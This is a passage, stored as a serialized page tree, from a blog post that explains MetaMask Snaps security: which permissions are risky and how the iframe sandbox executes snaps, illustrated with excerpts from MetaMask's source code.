",{"type":23,"tag":135,"props":33363,"children":33365},{"className":33364},[],[33366],{"type":28,"value":33367},"snap.manifest.json",{"type":28,"value":33369}," file and can be critical to security.",{"type":23,"tag":24,"props":33371,"children":33372},{},[33373],{"type":28,"value":33374},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":24,"props":33376,"children":33377},{},[33378],{"type":28,"value":33379},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":24,"props":33381,"children":33382},{},[33383],{"type":23,"tag":429,"props":33384,"children":33386},{"alt":7,"src":33385},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":14699,"props":33388,"children":33389},{},[33390,33408],{"type":23,"tag":801,"props":33391,"children":33392},{},[33393,33399,33400,33406],{"type":23,"tag":135,"props":33394,"children":33396},{"className":33395},[],[33397],{"type":28,"value":33398},"snap_getBip44Entropy",{"type":28,"value":9002},{"type":23,"tag":135,"props":33401,"children":33403},{"className":33402},[],[33404],{"type":28,"value":33405},"snap_getBip32Entropy",{"type":28,"value":33407}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":801,"props":33409,"children":33410},{},[33411,33417],{"type":23,"tag":135,"props":33412,"children":33414},{"className":33413},[],[33415],{"type":28,"value":33416},"endowment:transaction-insight",{"type":28,"value":33418}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":666,"props":33420,"children":33422},{"id":33421},"snap-execution-environment",[33423],{"type":28,"value":33424},"Snap execution environment",{"type":23,"tag":24,"props":33426,"children":33427},{},[33428],{"type":28,"value":33429},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":797,"props":33431,"children":33432},{},[33433,33438,33443],{"type":23,"tag":801,"props":33434,"children":33435},{},[33436],{"type":28,"value":33437},"An isolated iframe",{"type":23,"tag":801,"props":33439,"children":33440},{},[33441],{"type":28,"value":33442},"LavaMoat",{"type":23,"tag":801,"props":33444,"children":33445},{},[33446],{"type":28,"value":33447},"SES (Secure EcmaScript)",{"type":23,"tag":24,"props":33449,"children":33450},{},[33451],{"type":23,"tag":429,"props":33452,"children":33454},{"alt":7,"src":33453},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":666,"props":33456,"children":33458},{"id":33457},"isolated-iframe-layer-1",[33459],{"type":28,"value":33460},"Isolated Iframe - Layer 1",{"type":23,"tag":24,"props":33462,"children":33463},{},[33464,33466,33473],{"type":28,"value":33465},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":64,"props":33467,"children":33470},{"href":33468,"rel":33469},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[68],[33471],{"type":28,"value":33472},"Iframe",{"type":28,"value":33474}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":16900,"props":33476,"children":33478},{"id":33477},"the-framework-metamask-extension-repo",[33479],{"type":28,"value":33480},"The Framework: Metamask-Extension Repo",{"type":23,"tag":24,"props":33482,"children":33483},{},[33484,33486,33492,33494,33500],{"type":28,"value":33485},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":135,"props":33487,"children":33489},{"className":33488},[],[33490],{"type":28,"value":33491},"metamask-controller.js",{"type":28,"value":33493}," file. Here's a glimpse of the relevant ",{"type":23,"tag":64,"props":33495,"children":33498},{"href":33496,"rel":33497},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[68],[33499],{"type":28,"value":135},{"type":28,"value":2493},{"type":23,"tag":128,"props":33502,"children":33506},{"className":33503,"code":33504,"language":33505,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[33507],{"type":23,"tag":135,"props":33508,"children":33509},{"__ignoreMap":7},[33510,33518,33526,33546,33594,33629,33646,33654,33696,33703,33710,33718,33746,33758],{"type":23,"tag":139,"props":33511,"children":33512},{"class":141,"line":142},[33513],{"type":23,"tag":139,"props":33514,"children":33515},{"style":958},[33516],{"type":28,"value":33517},"// Import snaps-controllers\n",{"type":23,"tag":139,"props":33519,"children":33520},{"class":141,"line":151},[33521],{"type":23,"tag":139,"props":33522,"children":33523},{"style":958},[33524],{"type":28,"value":33525},"// ...\n",{"type":23,"tag":139,"props":33527,"children":33528},{"class":141,"line":160},[33529,33533,33538,33542],{"type":23,"tag":139,"props":33530,"children":33531},{"style":279},[33532],{"type":28,"value":7663},{"type":23,"tag":139,"props":33534,"children":33535},{"style":294},[33536],{"type":28,"value":33537}," snapExecutionServiceArgs",{"type":23,"tag":139,"props":33539,"children":33540},{"style":982},[33541],{"type":28,"value":985},{"type":23,"tag":139,"props":33543,"children":33544},{"style":259},[33545],{"type":28,"value":1268},{"type":23,"tag":139,"props":33547,"children":33548},{"class":141,"line":169},[33549,33554,33558,33563,33567,33572,33576,33581,33585,33590],{"type":23,"tag":139,"props":33550,"children":33551},{"style":294},[33552],{"type":28,"value":33553},"  iframeUrl:",{"type":23,"tag":139,"props":33555,"children":33556},{"style":279},[33557],{"type":28,"value":29820},{"type":23,"tag":139,"props":33559,"children":33560},{"style":245},[33561],{"type":28,"value":33562}," URL",{"type":23,"tag":139,"props":33564,"children":33565},{"style":259},[33566],{"type":28,"value":262},{"type":23,"tag":139,"props":33568,"children":33569},{"style":294},[33570],{"type":28,"value":33571},"process",{"type":23,"tag":139,"props":33573,"children":33574},{"style":259},[33575],{"type":28,"value":73},{"type":23,"tag":139,"props":33577,"children":33578},{"style":294},[33579],{"type":28,"value":33580},"env",{"type":23,"tag":139,"props":33582,"children":33583},{"style":259},[33584],{"type":28,"value":73},{"type":23,"tag":139,"props":33586,"children":33587},{"style":294},[33588],{"type":28,"value":33589},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":139,"props":33591,"children":33592},{"style":259},[33593],{"type":28,"value":4739},{"type":23,"tag":139,"props":33595,"children":33596},{"class":141,"line":178},[33597,33602,33607,33611,33616,33620,33625],{"type":23,"tag":139,"props":33598,"children":33599},{"style":294},[33600],{"type":28,"value":33601},"  messenger:",{"type":23,"tag":139,"props":33603,"children":33604},{"style":279},[33605],{"type":28,"value":33606}," this",{"type":23,"tag":139,"props":33608,"children":33609},{"style":259},[33610],{"type":28,"value":73},{"type":23,"tag":139,"props":33612,"children":33613},{"style":294},[33614],{"type":28,"value":33615},"controllerMessenger",{"type":23,"tag":139,"props":33617,"children":33618},{"style":259},[33619],{"type":28,"value":73},{"type":23,"tag":139,"props":33621,"children":33622},{"style":245},[33623],{"type":28,"value":33624},"getRestricted",{"type":23,"tag":139,"props":33626,"children":33627},{"style":259},[33628],{"type":28,"value":13152},{"type":23,"tag":139,"props":33630,"children":33631},{"class":141,"line":187},[33632,33637,33642],{"type":23,"tag":139,"props":33633,"children":33634},{"style":294},[33635],{"type":28,"value":33636},"    name:",{"type":23,"tag":139,"props":33638,"children":33639},{"style":265},[33640],{"type":28,"value":33641}," 'ExecutionService'",{"type":23,"tag":139,"props":33643,"children":33644},{"style":259},[33645],{"type":28,"value":1488},{"type":23,"tag":139,"props":33647,"children":33648},{"class":141,"line":196},[33649],{"type":23,"tag":139,"props":33650,"children":33651},{"style":259},[33652],{"type":28,"value":33653},"  }),\n",{"type":23,"tag":139,"props":33655,"children":33656},{"class":141,"line":205},[33657,33662,33666,33670,33675,33679,33684,33688,33692],{"type":23,"tag":139,"props":33658,"children":33659},{"style":294},[33660],{"type":28,"value":33661},"  setupSnapProvider:",{"type":23,"tag":139,"props":33663,"children":33664},{"style":279},[33665],{"type":28,"value":33606},{"type":23,"tag":139,"props":33667,"children":33668},{"style":259},[33669],{"type":28,"value":73},{"type":23,"tag":139,"props":33671,"children":33672},{"style":294},[33673],{"type":28,"value":33674},"setupSnapProvider",{"type":23,"tag":139,"props":33676,"children":33677},{"style":259},[33678],{"type":28,"value":73},{"type":23,"tag":139,"props":33680,"children":33681},{"style":245},[33682],{"type":28,"value":33683},"bind",{"type":23,"tag":139,"props":33685,"children":33686},{"style":259},[33687],{"type":28,"value":262},{"type":23,"tag":139,"props":33689,"children":33690},{"style":279},[33691],{"type":28,"value":15706},{"type":23,"tag":139,"props":33693,"children":33694},{"style":259},[33695],{"type":28,"value":4739},{"type":23,"tag":139,"props":33697,"children":33698},{"class":141,"line":214},[33699],{"type":23,"tag":139,"props":33700,"children":33701},{"style":259},[33702],{"type":28,"value":14589},{"type":23,"tag":139,"props":33704,"children":33705},{"class":141,"line":1320},[33706],{"type":23,"tag":139,"props":33707,"children":33708},{"emptyLinePlaceholder":15},[33709],{"type":28,"value":184},{"type":23,"tag":139,"props":33711,"children":33712},{"class":141,"line":1329},[33713],{"type":23,"tag":139,"props":33714,"children":33715},{"style":958},[33716],{"type":28,"value":33717},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":139,"props":33719,"children":33720},{"class":141,"line":1580},[33721,33725,33729,33733,33737,33741],{"type":23,"tag":139,"props":33722,"children":33723},{"style":294},[33724],{"type":28,"value":33571},{"type":23,"tag":139,"props":33726,"children":33727},{"style":259},[33728],{"type":28,"value":73},{"type":23,"tag":139,"props":33730,"children":33731},{"style":294},[33732],{"type":28,"value":33580},{"type":23,"tag":139,"props":33734,"children":33735},{"style":259},[33736],{"type":28,"value":73},{"type":23,"tag":139,"props":33738,"children":33739},{"style":294},[33740],{"type":28,"value":33589},{"type":23,"tag":139,"props":33742,"children":33743},{"style":982},[33744],{"type":28,"value":33745}," =\n",{"type":23,"tag":139,"props":33747,"children":33748},{"class":141,"line":1597},[33749,33754],{"type":23,"tag":139,"props":33750,"children":33751},{"style":265},[33752],{"type":28,"value":33753},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":139,"props":33755,"children":33756},{"style":259},[33757],{"type":28,"value":995},{"type":23,"tag":139,"props":33759,"children":33760},{"class":141,"line":1614},[33761],{"type":23,"tag":139,"props":33762,"children":33763},{"style":958},[33764],{"type":28,"value":33525},{"type":23,"tag":24,"props":33766,"children":33767},{},[33768,33770,33776,33778,33784,33786,33791],{"type":28,"value":33769},"This code is defining the ",{"type":23,"tag":135,"props":33771,"children":33773},{"className":33772},[],[33774],{"type":28,"value":33775},"snapExecutionServiceArgs",{"type":28,"value":33777}," object, which contains information required for the ",{"type":23,"tag":135,"props":33779,"children":33781},{"className":33780},[],[33782],{"type":28,"value":33783},"IframeExecutionService",{"type":28,"value":33785}," to execute snaps. The ",{"type":23,"tag":135,"props":33787,"children":33789},{"className":33788},[],[33790],{"type":28,"value":33589},{"type":28,"value":33792}," points to the location where the execution environment resides.",{"type":23,"tag":16900,"props":33794,"children":33796},{"id":33795},"executing-snaps-iframeexecutionservice-in-action",[33797],{"type":28,"value":33798},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":24,"props":33800,"children":33801},{},[33802,33804,33809,33811,33817],{"type":28,"value":33803},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":135,"props":33805,"children":33807},{"className":33806},[],[33808],{"type":28,"value":33783},{"type":28,"value":33810}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":64,"props":33812,"children":33815},{"href":33813,"rel":33814},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[68],[33816],{"type":28,"value":135},{"type":28,"value":2493},{"type":23,"tag":128,"props":33819,"children":33823},{"className":33820,"code":33821,"language":33822,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[33824],{"type":23,"tag":135,"props":33825,"children":33826},{"__ignoreMap":7},[33827,33835,33864,33894,33947,33984,33991,33998,34006,34013,34020,34028,34063,34071,34127,34189,34197],{"type":23,"tag":139,"props":33828,"children":33829},{"class":141,"line":142},[33830],{"type":23,"tag":139,"props":33831,"children":33832},{"style":958},[33833],{"type":28,"value":33834},"// Register message handlers for snap interactions\n",{"type":23,"tag":139,"props":33836,"children":33837},{"class":141,"line":151},[33838,33842,33846,33851,33855,33860],{"type":23,"tag":139,"props":33839,"children":33840},{"style":279},[33841],{"type":28,"value":15706},{"type":23,"tag":139,"props":33843,"children":33844},{"style":259},[33845],{"type":28,"value":73},{"type":23,"tag":139,"props":33847,"children":33848},{"style":294},[33849],{"type":28,"value":33850},"#messenger",{"type":23,"tag":139,"props":33852,"children":33853},{"style":259},[33854],{"type":28,"value":73},{"type":23,"tag":139,"props":33856,"children":33857},{"style":245},[33858],{"type":28,"value":33859},"registerActionHandler",{"type":23,"tag":139,"props":33861,"children":33862},{"style":259},[33863],{"type":28,"value":1443},{"type":23,"tag":139,"props":33865,"children":33866},{"class":141,"line":160},[33867,33872,33876,33881,33885,33890],{"type":23,"tag":139,"props":33868,"children":33869},{"style":265},[33870],{"type":28,"value":33871},"  `",{"type":23,"tag":139,"props":33873,"children":33874},{"style":279},[33875],{"type":28,"value":31997},{"type":23,"tag":139,"props":33877,"children":33878},{"style":294},[33879],{"type":28,"value":33880},"controllerName",{"type":23,"tag":139,"props":33882,"children":33883},{"style":279},[33884],{"type":28,"value":32029},{"type":23,"tag":139,"props":33886,"children":33887},{"style":265},[33888],{"type":28,"value":33889},":handleRpcRequest`",{"type":23,"tag":139,"props":33891,"children":33892},{"style":259},[33893],{"type":28,"value":1488},{"type":23,"tag":139,"props":33895,"children":33896},{"class":141,"line":169},[33897,33902,33906,33911,33915,33920,33924,33929,33933,33938,33942],{"type":23,"tag":139,"props":33898,"children":33899},{"style":279},[33900],{"type":28,"value":33901},"  async",{"type":23,"tag":139,"props":33903,"children":33904},{"style":259},[33905],{"type":28,"value":1042},{"type":23,"tag":139,"props":33907,"children":33908},{"style":294},[33909],{"type":28,"value":33910},"snapId",{"type":23,"tag":139,"props":33912,"children":33913},{"style":982},[33914],{"type":28,"value":2493},{"type":23,"tag":139,"props":33916,"children":33917},{"style":305},[33918],{"type":28,"value":33919}," string",{"type":23,"tag":139,"props":33921,"children":33922},{"style":259},[33923],{"type":28,"value":1052},{"type":23,"tag":139,"props":33925,"children":33926},{"style":294},[33927],{"type":28,"value":33928},"options",{"type":23,"tag":139,"props":33930,"children":33931},{"style":982},[33932],{"type":28,"value":2493},{"type":23,"tag":139,"props":33934,"children":33935},{"style":305},[33936],{"type":28,"value":33937}," SnapRpcHookArgs",{"type":23,"tag":139,"props":33939,"children":33940},{"style":259},[33941],{"type":28,"value":1062},{"type":23,"tag":139,"props":33943,"children":33944},{"style":279},[33945],{"type":28,"value":33946},"=>\n",{"type":23,"tag":139,"props":33948,"children":33949},{"class":141,"line":178},[33950,33955,33959,33964,33968,33972,33976,33980],{"type":23,"tag":139,"props":33951,"children":33952},{"style":279},[33953],{"type":28,"value":33954},"    this",{"type":23,"tag":139,"props":33956,"children":33957},{"style":259},[33958],{"type":28,"value":73},{"type":23,"tag":139,"props":33960,"children":33961},{"style":245},[33962],{"type":28,"value":33963},"handleRpcRequest",{"type":23,"tag":139,"props":33965,"children":33966},{"style":259},[33967],{"type":28,"value":262},{"type":23,"tag":139,"props":33969,"children":33970},{"style":294},[33971],{"type":28,"value":33910},{"type":23,"tag":139,"props":33973,"children":33974},{"style":259},[33975],{"type":28,"value":1052},{"type":23,"tag":139,"props":33977,"children":33978},{"style":294},[33979],{"type":28,"value":33928},{"type":23,"tag":139,"props":33981,"children":33982},{"style":259},[33983],{"type":28,"value":4739},{"type":23,"tag":139,"props":33985,"children":33986},{"class":141,"line":187},[33987],{"type":23,"tag":139,"props":33988,"children":33989},{"style":259},[33990],{"type":28,"value":1820},{"type":23,"tag":139,"props":33992,"children":33993},{"class":141,"line":196},[33994],{"type":23,"tag":139,"props":33995,"children":33996},{"emptyLinePlaceholder":15},[33997],{"type":28,"value":184},{"type":23,"tag":139,"props":33999,"children":34000},{"class":141,"line":205},[34001],{"type":23,"tag":139,"props":34002,"children":34003},{"style":958},[34004],{"type":28,"value":34005},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":139,"props":34007,"children":34008},{"class":141,"line":214},[34009],{"type":23,"tag":139,"props":34010,"children":34011},{"style":958},[34012],{"type":28,"value":33525},{"type":23,"tag":139,"props":34014,"children":34015},{"class":141,"line":1320},[34016],{"type":23,"tag":139,"props":34017,"children":34018},{"emptyLinePlaceholder":15},[34019],{"type":28,"value":184},{"type":23,"tag":139,"props":34021,"children":34022},{"class":141,"line":1329},[34023],{"type":23,"tag":139,"props":34024,"children":34025},{"style":958},[34026],{"type":28,"value":34027},"// Execute a snap\n",{"type":23,"tag":139,"props":34029,"children":34030},{"class":141,"line":1580},[34031,34036,34041,34045,34050,34054,34059],{"type":23,"tag":139,"props":34032,"children":34033},{"style":294},[34034],{"type":28,"value":34035},"async",{"type":23,"tag":139,"props":34037,"children":34038},{"style":245},[34039],{"type":28,"value":34040}," executeSnap",{"type":23,"tag":139,"props":34042,"children":34043},{"style":259},[34044],{"type":28,"value":262},{"type":23,"tag":139,"props":34046,"children":34047},{"style":294},[34048],{"type":28,"value":34049},"snapData",{"type":23,"tag":139,"props":34051,"children":34052},{"style":259},[34053],{"type":28,"value":13343},{"type":23,"tag":139,"props":34055,"children":34056},{"style":294},[34057],{"type":28,"value":34058},"SnapExecutionData",{"type":23,"tag":139,"props":34060,"children":34061},{"style":259},[34062],{"type":28,"value":12815},{"type":23,"tag":139,"props":34064,"children":34065},{"class":141,"line":1597},[34066],{"type":23,"tag":139,"props":34067,"children":34068},{"style":958},[34069],{"type":28,"value":34070},"  // Initialize job, streams, and environment\n",{"type":23,"tag":139,"props":34072,"children":34073},{"class":141,"line":1614},[34074,34079,34083,34088,34093,34097,34102,34106,34110,34115,34119,34123],{"type":23,"tag":139,"props":34075,"children":34076},{"style":279},[34077],{"type":28,"value":34078},"  const",{"type":23,"tag":139,"props":34080,"children":34081},{"style":259},[34082],{"type":28,"value":7594},{"type":23,"tag":139,"props":34084,"children":34085},{"style":294},[34086],{"type":28,"value":34087},"jobId",{"type":23,"tag":139,"props":34089,"children":34090},{"style":259},[34091],{"type":28,"value":34092}," } ",{"type":23,"tag":139,"props":34094,"children":34095},{"style":982},[34096],{"type":28,"value":1067},{"type":23,"tag":139,"props":34098,"children":34099},{"style":319},[34100],{"type":28,"value":34101}," await",{"type":23,"tag":139,"props":34103,"children":34104},{"style":279},[34105],{"type":28,"value":33606},{"type":23,"tag":139,"props":34107,"children":34108},{"style":259},[34109],{"type":28,"value":73},{"type":23,"tag":139,"props":34111,"children":34112},{"style":245},[34113],{"type":28,"value":34114},"initJob",{"type":23,"tag":139,"props":34116,"children":34117},{"style":259},[34118],{"type":28,"value":262},{"type":23,"tag":139,"props":34120,"children":34121},{"style":294},[34122],{"type":28,"value":34049},{"type":23,"tag":139,"props":34124,"children":34125},{"style":259},[34126],{"type":28,"value":1820},{"type":23,"tag":139,"props":34128,"children":34129},{"class":141,"line":1627},[34130,34134,34138,34143,34147,34152,34156,34160,34164,34168,34172,34177,34181,34185],{"type":23,"tag":139,"props":34131,"children":34132},{"style":279},[34133],{"type":28,"value":34078},{"type":23,"tag":139,"props":34135,"children":34136},{"style":259},[34137],{"type":28,"value":7594},{"type":23,"tag":139,"props":34139,"children":34140},{"style":294},[34141],{"type":28,"value":34142},"worker",{"type":23,"tag":139,"props":34144,"children":34145},{"style":259},[34146],{"type":28,"value":1052},{"type":23,"tag":139,"props":34148,"children":34149},{"style":294},[34150],{"type":28,"value":34151},"stream",{"type":23,"tag":139,"props":34153,"children":34154},{"style":259},[34155],{"type":28,"value":34092},{"type":23,"tag":139,"props":34157,"children":34158},{"style":982},[34159],{"type":28,"value":1067},{"type":23,"tag":139,"props":34161,"children":34162},{"style":319},[34163],{"type":28,"value":34101},{"type":23,"tag":139,"props":34165,"children":34166},{"style":279},[34167],{"type":28,"value":33606},{"type":23,"tag":139,"props":34169,"children":34170},{"style":259},[34171],{"type":28,"value":73},{"type":23,"tag":139,"props":34173,"children":34174},{"style":245},[34175],{"type":28,"value":34176},"initEnvStream",{"type":23,"tag":139,"props":34178,"children":34179},{"style":259},[34180],{"type":28,"value":262},{"type":23,"tag":139,"props":34182,"children":34183},{"style":294},[34184],{"type":28,"value":34087},{"type":23,"tag":139,"props":34186,"children":34187},{"style":259},[34188],{"type":28,"value":1820},{"type":23,"tag":139,"props":34190,"children":34191},{"class":141,"line":1636},[34192],{"type":23,"tag":139,"props":34193,"children":34194},{"style":958},[34195],{"type":28,"value":34196},"  // ...\n",{"type":23,"tag":139,"props":34198,"children":34199},{"class":141,"line":1659},[34200],{"type":23,"tag":139,"props":34201,"children":34202},{"style":259},[34203],{"type":28,"value":1897},{"type":23,"tag":24,"props":34205,"children":34206},{},[34207,34208,34213,34215,34221],{"type":28,"value":14625},{"type":23,"tag":135,"props":34209,"children":34211},{"className":34210},[],[34212],{"type":28,"value":33783},{"type":28,"value":34214}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":135,"props":34216,"children":34218},{"className":34217},[],[34219],{"type":28,"value":34220},"${controllerName}:executeSnap",{"type":28,"value":34222}," handler triggers the snap execution process.",{"type":23,"tag":16900,"props":34224,"children":34226},{"id":34225},"step-by-step-execution-from-initialization-to-iframe-creation",[34227,34229],{"type":28,"value":34228},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":64,"props":34230,"children":34233},{"href":34231,"rel":34232},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[68],[34234],{"type":28,"value":34235},"creation",{"type":23,"tag":128,"props":34237,"children":34239},{"className":33820,"code":34238,"language":33822,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[34240],{"type":23,"tag":135,"props":34241,"children":34242},{"__ignoreMap":7},[34243,34292,34313,34334,34342,34406,34413,34441,34458,34475,34492,34509,34516,34523,34547],{"type":23,"tag":139,"props":34244,"children":34245},{"class":141,"line":142},[34246,34251,34256,34261,34265,34269,34273,34277,34282,34287],{"type":23,"tag":139,"props":34247,"children":34248},{"style":294},[34249],{"type":28,"value":34250},"protected",{"type":23,"tag":139,"props":34252,"children":34253},{"style":294},[34254],{"type":28,"value":34255}," async",{"type":23,"tag":139,"props":34257,"children":34258},{"style":245},[34259],{"type":28,"value":34260}," initEnvStream",{"type":23,"tag":139,"props":34262,"children":34263},{"style":259},[34264],{"type":28,"value":262},{"type":23,"tag":139,"props":34266,"children":34267},{"style":294},[34268],{"type":28,"value":34087},{"type":23,"tag":139,"props":34270,"children":34271},{"style":259},[34272],{"type":28,"value":13343},{"type":23,"tag":139,"props":34274,"children":34275},{"style":294},[34276],{"type":28,"value":27687},{"type":23,"tag":139,"props":34278,"children":34279},{"style":259},[34280],{"type":28,"value":34281},"): ",{"type":23,"tag":139,"props":34283,"children":34284},{"style":305},[34285],{"type":28,"value":34286},"Promise",{"type":23,"tag":139,"props":34288,"children":34289},{"style":259},[34290],{"type":28,"value":34291},"\u003C{\n",{"type":23,"tag":139,"props":34293,"children":34294},{"class":141,"line":151},[34295,34300,34304,34309],{"type":23,"tag":139,"props":34296,"children":34297},{"style":294},[34298],{"type":28,"value":34299},"    worker",{"type":23,"tag":139,"props":34301,"children":34302},{"style":982},[34303],{"type":28,"value":2493},{"type":23,"tag":139,"props":34305,"children":34306},{"style":305},[34307],{"type":28,"value":34308}," Window",{"type":23,"tag":139,"props":34310,"children":34311},{"style":259},[34312],{"type":28,"value":995},{"type":23,"tag":139,"props":34314,"children":34315},{"class":141,"line":160},[34316,34321,34325,34330],{"type":23,"tag":139,"props":34317,"children":34318},{"style":294},[34319],{"type":28,"value":34320},"    stream",{"type":23,"tag":139,"props":34322,"children":34323},{"style":982},[34324],{"type":28,"value":2493},{"type":23,"tag":139,"props":34326,"children":34327},{"style":305},[34328],{"type":28,"value":34329}," BasePostMessageStream",{"type":23,"tag":139,"props":34331,"children":34332},{"style":259},[34333],{"type":28,"value":995},{"type":23,"tag":139,"props":34335,"children":34336},{"class":141,"line":169},[34337],{"type":23,"tag":139,"props":34338,"children":34339},{"style":259},[34340],{"type":28,"value":34341},"  }> {\n",{"type":23,"tag":139,"props":34343,"children":34344},{"class":141,"line":178},[34345,34350,34355,34359,34363,34368,34372,34376,34380,34385,34389,34394,34398,34402],{"type":23,"tag":139,"props":34346,"children":34347},{"style":259},[34348],{"type":28,"value":34349},"    const ",{"type":23,"tag":139,"props":34351,"children":34352},{"style":294},[34353],{"type":28,"value":34354},"iframeWindow",{"type":23,"tag":139,"props":34356,"children":34357},{"style":982},[34358],{"type":28,"value":985},{"type":23,"tag":139,"props":34360,"children":34361},{"style":319},[34362],{"type":28,"value":34101},{"type":23,"tag":139,"props":34364,"children":34365},{"style":245},[34366],{"type":28,"value":34367}," createWindow",{"type":23,"tag":139,"props":34369,"children":34370},{"style":259},[34371],{"type":28,"value":262},{"type":23,"tag":139,"props":34373,"children":34374},{"style":279},[34375],{"type":28,"value":15706},{"type":23,"tag":139,"props":34377,"children":34378},{"style":259},[34379],{"type":28,"value":73},{"type":23,"tag":139,"props":34381,"children":34382},{"style":294},[34383],{"type":28,"value":34384},"iframeUrl",{"type":23,"tag":139,"props":34386,"children":34387},{"style":259},[34388],{"type":28,"value":73},{"type":23,"tag":139,"props":34390,"children":34391},{"style":245},[34392],{"type":28,"value":34393},"toString",{"type":23,"tag":139,"props":34395,"children":34396},{"style":259},[34397],{"type":28,"value":16389},{"type":23,"tag":139,"props":34399,"children":34400},{"style":294},[34401],{"type":28,"value":34087},{"type":23,"tag":139,"props":34403,"children":34404},{"style":259},[34405],{"type":28,"value":1820},{"type":23,"tag":139,"props":34407,"children":34408},{"class":141,"line":187},[34409],{"type":23,"tag":139,"props":34410,"children":34411},{"emptyLinePlaceholder":15},[34412],{"type":28,"value":184},{"type":23,"tag":139,"props":34414,"children":34415},{"class":141,"line":196},[34416,34420,34424,34428,34432,34437],{"type":23,"tag":139,"props":34417,"children":34418},{"style":259},[34419],{"type":28,"value":34349},{"type":23,"tag":139,"props":34421,"children":34422},{"style":294},[34423],{"type":28,"value":34151},{"type":23,"tag":139,"props":34425,"children":34426},{"style":982},[34427],{"type":28,"value":985},{"type":23,"tag":139,"props":34429,"children":34430},{"style":279},[34431],{"type":28,"value":29820},{"type":23,"tag":139,"props":34433,"children":34434},{"style":245},[34435],{"type":28,"value":34436}," WindowPostMessageStream",{"type":23,"tag":139,"props":34438,"children":34439},{"style":259},[34440],{"type":28,"value":13152},{"type":23,"tag":139,"props":34442,"children":34443},{"class":141,"line":205},[34444,34449,34454],{"type":23,"tag":139,"props":34445,"children":34446},{"style":294},[34447],{"type":28,"value":34448},"      name:",{"type":23,"tag":139,"props":34450,"children":34451},{"style":265},[34452],{"type":28,"value":34453}," 'parent'",{"type":23,"tag":139,"props":34455,"children":34456},{"style":259},[34457],{"type":28,"value":1488},{"type":23,"tag":139,"props":34459,"children":34460},{"class":141,"line":214},[34461,34466,34471],{"type":23,"tag":139,"props":34462,"children":34463},{"style":294},[34464],{"type":28,"value":34465},"      target:",{"type":23,"tag":139,"props":34467,"children":34468},{"style":265},[34469],{"type":28,"value":34470}," 'child'",{"type":23,"tag":139,"props":34472,"children":34473},{"style":259},[34474],{"type":28,"value":1488},{"type":23,"tag":139,"props":34476,"children":34477},{"class":141,"line":1320},[34478,34483,34488],{"type":23,"tag":139,"props":34479,"children":34480},{"style":294},[34481],{"type":28,"value":34482},"      targetWindow:",{"type":23,"tag":139,"props":34484,"children":34485},{"style":294},[34486],{"type":28,"value":34487}," iframeWindow",{"type":23,"tag":139,"props":34489,"children":34490},{"style":259},[34491],{"type":28,"value":1488},{"type":23,"tag":139,"props":34493,"children":34494},{"class":141,"line":1329},[34495,34500,34505],{"type":23,"tag":139,"props":34496,"children":34497},{"style":294},[34498],{"type":28,"value":34499},"      targetOrigin:",{"type":23,"tag":139,"props":34501,"children":34502},{"style":265},[34503],{"type":28,"value":34504}," 